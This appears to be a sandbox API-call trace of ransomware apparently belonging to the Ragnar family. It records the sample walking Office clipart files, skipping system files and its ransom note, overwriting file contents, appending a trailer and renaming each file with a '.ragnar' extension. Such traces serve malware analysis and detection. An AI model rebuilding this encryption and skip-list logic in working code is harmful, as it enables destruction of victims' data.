[0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="bootmgr.efi") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="desktop.ini") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="iconcache.db") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="ntldr") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="ntuser.dat") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="ntuser.ini") returned -1 [0079.970] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="thumbs.db") returned -1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.970] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0079.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.971] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7540) returned 1 [0079.971] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.972] GetProcessHeap () returned 0x580000 [0079.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.972] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.973] VirtualAlloc (lpAddress=0x0, dwSize=0x1d74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.973] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d74, lpOverlapped=0x0) returned 1 [0079.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.974] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d74, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.974] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d74, lpOverlapped=0x0) returned 1 [0079.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.975] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.975] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.975] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.975] GetProcessHeap () returned 0x580000 [0079.975] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.975] CloseHandle (hObject=0xf4) returned 1 [0079.975] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" [0079.975] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ragnar_FD7BD9FC" [0079.975] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0079.976] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.976] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN02559_.WMF" | out: lpString1="AN02559_.WMF") returned="AN02559_.WMF" [0079.976] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned=".WMF" [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="autorun.inf") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="boot.ini") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="bootfont.bin") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="bootsect.bak") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="bootmgr") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="bootmgr.efi") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="desktop.ini") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="iconcache.db") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="ntldr") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="ntuser.dat") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="ntuser.ini") returned -1 [0079.976] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="thumbs.db") returned -1 [0079.976] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.976] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.976] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.977] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.977] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.977] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.977] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0079.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.977] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6632) returned 1 [0079.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.977] GetProcessHeap () returned 0x580000 [0079.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.977] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.979] VirtualAlloc (lpAddress=0x0, dwSize=0x19e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.979] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19e8, lpOverlapped=0x0) returned 1 [0079.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.980] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19e8, lpOverlapped=0x0) returned 1 [0079.980] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.980] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.980] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.981] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.981] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.981] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.981] GetProcessHeap () returned 0x580000 [0079.981] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.981] CloseHandle (hObject=0xf4) returned 1 [0079.981] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" [0079.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ragnar_FD7BD9FC" [0079.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.982] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0079.982] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.982] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN02724_.WMF" | out: lpString1="AN02724_.WMF") returned="AN02724_.WMF" [0079.982] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned=".WMF" [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="autorun.inf") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="boot.ini") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="bootfont.bin") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="bootsect.bak") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="bootmgr") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="bootmgr.efi") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="desktop.ini") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="iconcache.db") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="ntldr") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="ntuser.dat") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="ntuser.ini") returned -1 [0079.982] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="thumbs.db") returned -1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.982] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0079.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.983] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2108) returned 1 [0079.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x833, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.983] GetProcessHeap () returned 0x580000 [0079.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.983] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.985] VirtualAlloc (lpAddress=0x0, dwSize=0x83c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.985] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x83c, lpOverlapped=0x0) returned 1 [0079.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.985] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x83c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.985] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x83c, lpOverlapped=0x0) returned 1 [0079.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x83c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.986] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x83c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.986] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.986] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.986] GetProcessHeap () returned 0x580000 [0079.986] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.986] CloseHandle (hObject=0xf4) returned 1 [0079.986] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" [0079.986] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ragnar_FD7BD9FC" [0079.986] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.987] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0079.987] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.987] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN03500_.WMF" | out: lpString1="AN03500_.WMF") returned="AN03500_.WMF" [0079.987] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned=".WMF" [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="autorun.inf") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="boot.ini") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="bootfont.bin") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="bootsect.bak") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="bootmgr") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="bootmgr.efi") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="desktop.ini") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="iconcache.db") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="ntldr") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="ntuser.dat") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="ntuser.ini") returned -1 [0079.987] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="thumbs.db") returned -1 [0079.987] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.987] lstrcmpiW 